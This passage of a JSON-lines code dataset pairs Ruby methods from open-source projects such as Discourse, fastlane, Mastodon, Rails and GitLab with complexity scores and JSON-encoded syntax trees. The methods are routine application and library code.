end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing tags...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tagging_enabled=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_tags_per_topic=\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"lvasgn\",\"children\":[\"staff_guardian\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT nodeid, GROUP_CONCAT(tagtext) tags\\n\"]},{\"type\":\"str\",\"children\":[\"FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"tag t\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"tagnode tn ON tn.tagid = t.tagid\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE t.tagid IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"AND tn.nodeid IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"GROUP BY nodeid\\n\"]}]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rec\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"current_count\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tl\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"thread-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nodeid\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tl\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tl\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tags\"]}]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseTagging\"]},\"tag_topic_by_names\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"staff_guardian\"]},{\"type\":\"lvar\",\"children\":[\"tag_names\"]}]}]}]}]}]}","id":"fb3486dc-183d-4aee-812d-0215ce14fd90"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/plugins/plugin_manager.rb","start_line":321,"raw_source":"def print_plugin_information(references)\n      no_action_found = false\n\n      rows = references.collect do |current|\n        if current[1][:actions].empty?\n          # Something is wrong with this plugin, no available actions\n          no_action_found = true\n          [current[0].red, current[1][:version_number], \"No actions found\".red]\n        else\n          [current[0], current[1][:version_number], current[1][:actions].join(\", \")]\n        end\n      end\n\n      require 'terminal-table'\n      puts(Terminal::Table.new({\n        rows: FastlaneCore::PrintTable.transform_output(rows),\n        title: \"Used plugins\".green,\n        headings: [\"Plugin\", \"Version\", \"Action\"]\n      }))\n      puts(\"\")\n\n      if no_action_found\n        puts(\"[!] No actions were found while loading one or more plugins\".red)\n        puts(\"    Please use `bundle exec fastlane` with plugins\".red)\n        puts(\"    More info - https://docs.fastlane.tools/plugins/using-plugins/#run-with-plugins\".red)\n        puts(\"\")\n      end\n    end","complexity_score":43.9,"ast_json":"{\"type\":\"def\",\"children\":[\"print_plugin_information\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"references\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"no_action_found\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"actions\"]}]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"no_action_found\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"red\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"No actions found\"]},\"red\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"actions\"]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"terminal-table\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Terminal\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rows\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PrintTable\"]},\"transform_output\",{\"type\":\"lvar\",\"children\":[\"rows\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Used plugins\"]},\"green\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headings\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Plugin\"]},{\"type\":\"str\",\"children\":[\"Version\"]},{\"type\":\"str\",\"children\":[\"Action\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"no_action_found\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"[!] No actions were found while loading one or more plugins\"]},\"red\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"    Please use `bundle exec fastlane` with plugins\"]},\"red\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"    More info - https://docs.fastlane.tools/plugins/using-plugins/#run-with-plugins\"]},\"red\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]}]}]},null]}]}]}","id":"2549b525-c105-4a3f-b2b6-e3f4c073a93a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/antispam.rb","start_line":57,"raw_source":"def recent_suspicious?\n    @status.account.created_at >= ACCOUNT_AGE_EXEMPTION.ago && spammy_texts.any? { |spammy_text| status_text.include?(spammy_text) }\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"recent_suspicious?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"account\"]},\"created_at\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ACCOUNT_AGE_EXEMPTION\"]},\"ago\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spammy_texts\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spammy_text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status_text\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"spammy_text\"]}]}]}]}]}","id":"ea38fbb5-bf64-4f84-b963-555d76fa508b"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/translations_controller.rb","start_line":20,"raw_source":"def nested_params\n        case model_class.to_s\n          when 'Spree::OptionType'\n            { option_values_attributes: [ :id, *translation_fields(Spree::OptionValue)] }\n          else\n            {}\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_class\"]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Spree::OptionType\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"option_values_attributes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"translation_fields\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OptionValue\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"b5e48e9a-7e48-4671-8079-8753a978e326"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/diff_table.rb","start_line":138,"raw_source":"def write_offsets\n      if @added > 0 && @added == @removed\n        @added.times do |i|\n          line = self[-(1 + i)]\n          removed = @type == \"sbs\" ? line : self[-(1 + @added + i)]\n          offsets = offsets(removed.line_left, line.line_right)\n          removed.offsets = line.offsets = offsets\n        end\n      end\n      @added = 0\n      @removed = 0\n    end","complexity_score":34.13,"ast_json":"{\"type\":\"def\",\"children\":[\"write_offsets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@added\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@added\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@removed\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@added\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"+\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"-@\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"removed\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"==\",{\"type\":\"str\",\"children\":[\"sbs\"]}]},{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"+\",{\"type\":\"ivar\",\"children\":[\"@added\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"-@\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offsets\",{\"type\":\"send\",\"children\":[null,\"offsets\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed\"]},\"line_left\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"line_right\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed\"]},\"offsets=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"offsets=\",{\"type\":\"lvar\",\"children\":[\"offsets\"]}]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@added\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@removed\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"f6860a80-b920-4234-b873-cea6133c1fa2"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/prepared_statement_cache.rb","start_line":16,"raw_source":"def clear\n        each_value(&:close)\n        super\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_value\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"close\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5ee2c824-b453-4936-9894-f301542d312d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/tester.rb","start_line":112,"raw_source":"def self.remove_testers_from_testflight(app_id: nil, tester_ids: nil)\n        client.remove_testers_from_testflight(app_id: app_id, tester_ids: tester_ids)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remove_testers_from_testflight\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"tester_ids\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"remove_testers_from_testflight\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_id\"]},{\"type\":\"lvar\",\"children\":[\"app_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tester_ids\"]},{\"type\":\"lvar\",\"children\":[\"tester_ids\"]}]}]}]}]}","id":"b49c2e73-b9d7-4c8c-bbc1-5345e0f050c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/tasks/database.rb","start_line":30,"raw_source":"def post_restore_warning\n        return if target.errors.empty?\n\n        <<-MSG.strip_heredoc\n        There were errors in restoring the schema. This may cause\n        issues if this results in missing indexes, constraints, or\n        columns. Please record the errors above and contact GitLab\n        Support if you have questions:\n        https://about.gitlab.com/support/\n        MSG\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"post_restore_warning\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"errors\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        There were errors in restoring the schema. This may cause\\n\"]},{\"type\":\"str\",\"children\":[\"        issues if this results in missing indexes, constraints, or\\n\"]},{\"type\":\"str\",\"children\":[\"        columns. Please record the errors above and contact GitLab\\n\"]},{\"type\":\"str\",\"children\":[\"        Support if you have questions:\\n\"]},{\"type\":\"str\",\"children\":[\"        https://about.gitlab.com/support/\\n\"]}]},\"strip_heredoc\"]}]}]}","id":"0813ca43-dc74-40ad-b32a-b67fe5117b58"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/testing/assertions.rb","start_line":211,"raw_source":"def assert_changes(expression, message = nil, from: UNTRACKED, to: UNTRACKED, &block)\n        exp = expression.respond_to?(:call) ? expression : -> { eval(expression.to_s, block.binding) }\n\n        before = exp.call\n        retval = _assert_nothing_raised_or_warn(\"assert_changes\", &block)\n\n        unless from == UNTRACKED\n          rich_message = -> do\n            error = \"Expected change from #{from.inspect}, got #{before.inspect}\"\n            error = \"#{message}.\\n#{error}\" if message\n            error\n          end\n          assert from === before, rich_message\n        end\n\n        after = exp.call\n\n        rich_message = -> do\n          code_string = expression.respond_to?(:call) ? _callable_to_source_string(expression) : expression\n          error = \"`#{code_string}` didn't change\"\n          error = \"#{error}. It was already #{to.inspect}\" if before == to\n          error = \"#{message}.\\n#{error}\" if message\n          error\n        end\n        refute_equal before, after, rich_message\n\n        unless to == UNTRACKED\n          rich_message = -> do\n            error = \"Expected change to #{to.inspect}, got #{after.inspect}\\n\"\n            error = \"#{message}.\\n#{error}\" if message\n            error\n          end\n          assert to === after, rich_message\n        end\n\n        retval\n      end","complexity_score":65.9,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_changes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expression\"]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"from\",{\"type\":\"const\",\"children\":[null,\"UNTRACKED\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"to\",{\"type\":\"const\",\"children\":[null,\"UNTRACKED\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"eval\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"binding\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"before\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"retval\",{\"type\":\"send\",\"children\":[null,\"_assert_nothing_raised_or_warn\",{\"type\":\"str\",\"children\":[\"assert_changes\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"UNTRACKED\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rich_message\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected change from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"before\"]},\"inspect\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"before\"]}]},{\"type\":\"lvar\",\"children\":[\"rich_message\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"after\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rich_message\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code_string\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[null,\"_callable_to_source_string\",{\"type\":\"lvar\",\"children\":[\"expression\"]}]},{\"type\":\"lvar\",\"children\":[\"expression\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_string\"]}]},{\"type\":\"str\",\"children\":[\"` didn't change\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"before\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"str\",\"children\":[\". It was already \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"refute_equal\",{\"type\":\"lvar\",\"children\":[\"before\"]},{\"type\":\"lvar\",\"children\":[\"after\"]},{\"type\":\"lvar\",\"children\":[\"rich_message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"UNTRACKED\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rich_message\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected change to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"after\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"after\"]}]},{\"type\":\"lvar\",\"children\":[\"rich_message\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"retval\"]}]}]}","id":"ec26fbd0-ffe7-4417-b650-b7f0b9090b3d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/builders/saml_user_builder.rb","start_line":102,"raw_source":"def saml_groups\n    # Groups can come from different attributes depending on IdP\n    @auth_hash.dig('extra', 'raw_info', 'groups') ||\n      @auth_hash.dig('extra', 'raw_info', 'Group') ||\n      @auth_hash.dig('extra', 'raw_info', 'memberOf') ||\n      []\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"saml_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth_hash\"]},\"dig\",{\"type\":\"str\",\"children\":[\"extra\"]},{\"type\":\"str\",\"children\":[\"raw_info\"]},{\"type\":\"str\",\"children\":[\"groups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth_hash\"]},\"dig\",{\"type\":\"str\",\"children\":[\"extra\"]},{\"type\":\"str\",\"children\":[\"raw_info\"]},{\"type\":\"str\",\"children\":[\"Group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth_hash\"]},\"dig\",{\"type\":\"str\",\"children\":[\"extra\"]},{\"type\":\"str\",\"children\":[\"raw_info\"]},{\"type\":\"str\",\"children\":[\"memberOf\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"621b301b-7f95-47db-8f75-c602ad5fd809"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/work_package_meetings_tab.rb","start_line":37,"raw_source":"def initialize(work_package_id)\n      super()\n      @work_package_id = work_package_id\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@work_package_id\",{\"type\":\"lvar\",\"children\":[\"work_package_id\"]}]}]}]}","id":"cfa4421f-3f78-44bd-adce-7964b4861631"}
